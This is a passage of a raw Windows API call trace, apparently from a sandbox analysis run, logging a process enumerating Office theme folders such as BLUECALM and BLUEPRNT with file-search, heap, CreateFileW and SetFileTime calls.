lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0052.669] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0052.669] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.669] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.669] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.669] GetLastError () returned 0x12 [0052.669] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef59c0) returned 1 [0052.669] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0052.669] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef5ac8) returned 1 [0052.670] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0052.670] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0052.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0052.670] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0052.670] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0052.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef6cd8 [0052.670] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef6cd8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef6cd8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0052.670] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef6cd8) returned 1 [0052.670] NtClose (Handle=0x170) returned 0x0 [0052.670] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0052.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0052.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0052.670] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ac8 [0052.670] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0052.671] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.671] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0052.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.671] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.671] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef59c0 [0052.671] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0052.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1810 [0052.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ff0 [0052.671] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.671] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0052.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.671] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.671] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1830 [0052.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef60f8 [0052.671] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.671] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.672] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.672] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1850 [0052.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef6200 [0052.672] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.672] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.672] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.672] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1870 [0052.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef6308 [0052.672] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.672] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.672] GetLastError () returned 0x12 [0052.672] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0052.672] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0052.672] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.672] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0052.673] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0052.673] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.673] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.673] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.673] GetLastError () returned 0x12 [0052.673] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef5ac8) returned 1 [0052.673] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0052.673] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef59c0) returned 1 [0052.673] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0052.673] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0052.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0052.673] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0052.757] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0052.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef6cd8 [0052.757] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef6cd8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef6cd8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0052.757] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef6cd8) returned 1 [0052.757] NtClose (Handle=0x17c) returned 0x0 [0052.757] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0052.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0052.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0052.757] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef59c0 [0052.757] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0052.757] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.758] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0052.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.758] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.758] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ac8 [0052.758] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0052.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1890 [0052.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef6410 [0052.758] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.758] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0052.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.758] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.758] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef18b0 [0052.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef6cf0 [0052.758] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.758] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.758] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.758] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef18d0 [0052.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef6df8 [0052.759] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.759] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.759] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.759] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef18f0 [0052.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef6f00 [0052.759] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.759] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: 